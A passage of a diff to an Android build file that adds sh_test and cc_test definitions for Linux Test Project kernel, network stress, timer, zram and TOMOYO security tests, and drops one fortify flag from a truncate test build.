+    src: "testcases/network/stress/udp/multi-diffport/udp4-multi-diffport02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-multi-diffport02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-multi-diffport03",
+    src: "testcases/network/stress/udp/multi-diffport/udp4-multi-diffport03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-multi-diffport03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-multi-diffport04",
+    src: "testcases/network/stress/udp/multi-diffport/udp4-multi-diffport04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-multi-diffport04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-multi-diffport05",
+    src: "testcases/network/stress/udp/multi-diffport/udp4-multi-diffport05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-multi-diffport05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-multi-diffport06",
+    src: "testcases/network/stress/udp/multi-diffport/udp4-multi-diffport06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-multi-diffport06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-multi-diffport07",
+    src: "testcases/network/stress/udp/multi-diffport/udp4-multi-diffport07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-multi-diffport07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-uni-basic01",
+    src: "testcases/network/stress/udp/uni-basic/udp4-uni-basic01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-uni-basic01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-uni-basic02",
+    src: "testcases/network/stress/udp/uni-basic/udp4-uni-basic02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-uni-basic02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-uni-basic03",
+    src: "testcases/network/stress/udp/uni-basic/udp4-uni-basic03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-uni-basic03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-uni-basic04",
+    src: "testcases/network/stress/udp/uni-basic/udp4-uni-basic04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-uni-basic04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-uni-basic05",
+    src: "testcases/network/stress/udp/uni-basic/udp4-uni-basic05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-uni-basic05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-uni-basic06",
+    src: "testcases/network/stress/udp/uni-basic/udp4-uni-basic06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-uni-basic06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-uni-basic07",
+    src: "testcases/network/stress/udp/uni-basic/udp4-uni-basic07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-uni-basic07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-multi-diffip01",
+    src: "testcases/network/stress/udp/multi-diffip/udp6-multi-diffip01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-multi-diffip01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-multi-diffip02",
+    src: "testcases/network/stress/udp/multi-diffip/udp6-multi-diffip02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-multi-diffip02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-multi-diffip03",
+    src: "testcases/network/stress/udp/multi-diffip/udp6-multi-diffip03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-multi-diffip03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-multi-diffip04",
+    src: "testcases/network/stress/udp/multi-diffip/udp6-multi-diffip04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-multi-diffip04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-multi-diffip05",
+    src: "testcases/network/stress/udp/multi-diffip/udp6-multi-diffip05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-multi-diffip05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-multi-diffip06",
+    src: "testcases/network/stress/udp/multi-diffip/udp6-multi-diffip06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-multi-diffip06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-multi-diffip07",
+    src: "testcases/network/stress/udp/multi-diffip/udp6-multi-diffip07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-multi-diffip07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-multi-diffnic01",
+    src: "testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-multi-diffnic01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-multi-diffnic02",
+    src: "testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-multi-diffnic02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-multi-diffnic03",
+    src: "testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-multi-diffnic03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-multi-diffnic04",
+    src: "testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-multi-diffnic04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-multi-diffnic05",
+    src: "testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-multi-diffnic05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-multi-diffnic06",
+    src: "testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-multi-diffnic06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-multi-diffnic07",
+    src: "testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-multi-diffnic07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-multi-diffport01",
+    src: "testcases/network/stress/udp/multi-diffport/udp6-multi-diffport01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-multi-diffport01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-multi-diffport02",
+    src: "testcases/network/stress/udp/multi-diffport/udp6-multi-diffport02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-multi-diffport02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-multi-diffport03",
+    src: "testcases/network/stress/udp/multi-diffport/udp6-multi-diffport03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-multi-diffport03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-multi-diffport04",
+    src: "testcases/network/stress/udp/multi-diffport/udp6-multi-diffport04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-multi-diffport04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-multi-diffport05",
+    src: "testcases/network/stress/udp/multi-diffport/udp6-multi-diffport05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-multi-diffport05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-multi-diffport06",
+    src: "testcases/network/stress/udp/multi-diffport/udp6-multi-diffport06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-multi-diffport06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-multi-diffport07",
+    src: "testcases/network/stress/udp/multi-diffport/udp6-multi-diffport07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-multi-diffport07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-uni-basic01",
+    src: "testcases/network/stress/udp/uni-basic/udp6-uni-basic01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-uni-basic01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-uni-basic02",
+    src: "testcases/network/stress/udp/uni-basic/udp6-uni-basic02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-uni-basic02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-uni-basic03",
+    src: "testcases/network/stress/udp/uni-basic/udp6-uni-basic03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-uni-basic03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-uni-basic04",
+    src: "testcases/network/stress/udp/uni-basic/udp6-uni-basic04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-uni-basic04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-uni-basic05",
+    src: "testcases/network/stress/udp/uni-basic/udp6-uni-basic05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-uni-basic05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-uni-basic06",
+    src: "testcases/network/stress/udp/uni-basic/udp6-uni-basic06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-uni-basic06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp6-uni-basic07",
+    src: "testcases/network/stress/udp/uni-basic/udp6-uni-basic07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp6-uni-basic07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp_ipsec.sh",
+    src: "testcases/network/stress/udp/udp_ipsec.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp_ipsec.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp_ipsec_vti.sh",
+    src: "testcases/network/stress/udp/udp_ipsec_vti.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp_ipsec_vti.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_unshare01.sh",
+    src: "testcases/commands/unshare/unshare01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "unshare01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_unzip01.sh",
+    src: "testcases/commands/unzip/unzip01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "unzip01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_utimensat_tests.sh",
+    src: "testcases/kernel/syscalls/utimensat/utimensat_tests.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "utimensat_tests.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_vfork_freeze.sh",
+    src: "testcases/kernel/controllers/freezer/vfork_freeze.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "vfork_freeze.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_virt_lib.sh",
+    src: "testcases/network/virt/virt_lib.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "virt_lib.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_vlan01.sh",
+    src: "testcases/network/virt/vlan01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "vlan01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_vlan02.sh",
+    src: "testcases/network/virt/vlan02.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "vlan02.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_vlan03.sh",
+    src: "testcases/network/virt/vlan03.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "vlan03.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_vma05.sh",
+    src: "testcases/kernel/mem/vma/vma05.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "vma05.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_vxlan01.sh",
+    src: "testcases/network/virt/vxlan01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "vxlan01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_vxlan02.sh",
+    src: "testcases/network/virt/vxlan02.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "vxlan02.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_vxlan03.sh",
+    src: "testcases/network/virt/vxlan03.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "vxlan03.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_write_freezing.sh",
+    src: "testcases/kernel/controllers/freezer/write_freezing.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "write_freezing.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_xinetd_tests.sh",
+    src: "testcases/network/xinetd/xinetd_tests.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "xinetd_tests.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_zram01.sh",
+    src: "testcases/kernel/device-drivers/zram/zram01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "zram01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_zram02.sh",
+    src: "testcases/kernel/device-drivers/zram/zram02.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "zram02.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_zram_lib.sh",
+    src: "testcases/kernel/device-drivers/zram/zram_lib.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "zram_lib.sh",
+    compile_multilib: "both",
+}
+
+cc_test {
+    name: "ltp_testsf_c",
+    stem: "testsf_c",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/network/tcp_cmds/sendfile/testsf_c.c"],
+    local_include_dirs: [
+        "testcases/network/tcp_cmds/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_testsf_c6",
+    stem: "testsf_c6",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/network/tcp_cmds/sendfile/testsf_c.c"],
+    cflags: ["-DINET6"],
+    local_include_dirs: [
+        "include/old",
+        "testcases/network/tcp_cmds/include",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_testsf_s",
+    stem: "testsf_s",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/network/tcp_cmds/sendfile/testsf_s.c"],
+    local_include_dirs: [
+        "testcases/network/tcp_cmds/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_testsf_s6",
+    stem: "testsf_s6",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/network/tcp_cmds/sendfile/testsf_s.c"],
+    cflags: ["-DINET6"],
+    local_include_dirs: [
+        "include/old",
+        "testcases/network/tcp_cmds/include",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tgkill01",
+    stem: "tgkill01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/tgkill/tgkill01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tgkill02",
+    stem: "tgkill02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/tgkill/tgkill02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tgkill03",
+    stem: "tgkill03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/tgkill/tgkill03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_thp01",
+    stem: "thp01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/thp/thp01.c"],
+    local_include_dirs: [
+        "testcases/kernel/mem/include",
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_thp02",
+    stem: "thp02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/thp/thp02.c"],
+    local_include_dirs: [
+        "testcases/kernel/mem/include",
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_thp03",
+    stem: "thp03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/thp/thp03.c"],
+    local_include_dirs: [
+        "testcases/kernel/mem/include",
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_time-schedule",
+    stem: "time-schedule",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/sched/tool/time-schedule.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_time01",
+    stem: "time01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/time/time01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_time02",
+    stem: "time02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/time/time02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_timed_forkbomb",
+    stem: "timed_forkbomb",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/freezer/timed_forkbomb.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_timer_create02",
+    stem: "timer_create02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/timers/timer_create/timer_create02.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/timers/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_timer_create03",
+    stem: "timer_create03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/timers/timer_create/timer_create03.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/timers/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_timer_create04",
+    stem: "timer_create04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/timers/timer_create/timer_create04.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/timers/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_timer_delete02",
+    stem: "timer_delete02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/timers/timer_delete/timer_delete02.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/timers/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_timer_delete03",
+    stem: "timer_delete03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/timers/timer_delete/timer_delete03.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/timers/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_timer_getoverrun01",
+    stem: "timer_getoverrun01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/timer_getoverrun/timer_getoverrun01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_timer_gettime01",
+    stem: "timer_gettime01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/timer_gettime/timer_gettime01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_timer_settime02",
+    stem: "timer_settime02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/timers/timer_settime/timer_settime02.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/timers/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_timer_settime03",
+    stem: "timer_settime03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/timers/timer_settime/timer_settime03.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/timers/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_timerfd01",
+    stem: "timerfd01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/timerfd/timerfd01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_timerfd02",
+    stem: "timerfd02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/timerfd/timerfd02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_timerfd03",
+    stem: "timerfd03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/timerfd/timerfd03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_timerfd_create01",
+    stem: "timerfd_create01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/timerfd/timerfd_create01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_timerfd_gettime01",
+    stem: "timerfd_gettime01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/timerfd/timerfd_gettime01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_timerfd_settime01",
+    stem: "timerfd_settime01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/timerfd/timerfd_settime01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_times01",
+    stem: "times01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/times/times01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_times03",
+    stem: "times03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/times/times03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tkill01",
+    stem: "tkill01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/tkill/tkill01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tkill02",
+    stem: "tkill02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/tkill/tkill02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tomoyo_accept_test",
+    stem: "tomoyo_accept_test",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/security/tomoyo/tomoyo_accept_test.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tomoyo_file_test",
+    stem: "tomoyo_file_test",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/security/tomoyo/tomoyo_file_test.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tomoyo_filesystem_test",
+    stem: "tomoyo_filesystem_test",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/security/tomoyo/tomoyo_filesystem_test.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tomoyo_new_file_test",
+    stem: "tomoyo_new_file_test",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/security/tomoyo/tomoyo_new_file_test.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tomoyo_new_test",
+    stem: "tomoyo_new_test",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/security/tomoyo/tomoyo_new_test.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tomoyo_policy_io_test",
+    stem: "tomoyo_policy_io_test",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/security/tomoyo/tomoyo_policy_io_test.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tomoyo_policy_memory_test",
+    stem: "tomoyo_policy_memory_test",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/security/tomoyo/tomoyo_policy_memory_test.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tomoyo_rewrite_test",
+    stem: "tomoyo_rewrite_test",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/security/tomoyo/tomoyo_rewrite_test.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tpci",
+    stem: "tpci",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/device-drivers/pci/tpci_user/tpci.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_trace_sched",
+    stem: "trace_sched",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/sched/tool/trace_sched.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_trerrno",
+    stem: "trerrno",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/tests/trerrno.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_truncate01",
+    stem: "truncate01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/truncate/truncate01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/truncate",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_truncate01_64",
     stem: "truncate01_64",
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/kernel/syscalls/truncate/truncate01.c"],
     cflags: [
-        "-D_FORTIFY_SOURCE=2",
         "-D_FILE_OFFSET_BITS=64",
         "-DTST_USE_NEWER64_SYSCALL=1",
     ],
@@ -15186,12 +22131,54 @@
 }
 
 cc_test {
+    name: "ltp_truncate02",
+    stem: "truncate02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/truncate/truncate02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/truncate",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_truncate02_64",
+    stem: "truncate02_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/truncate/truncate02.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/truncate",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_truncate03",
+    stem: "truncate03",
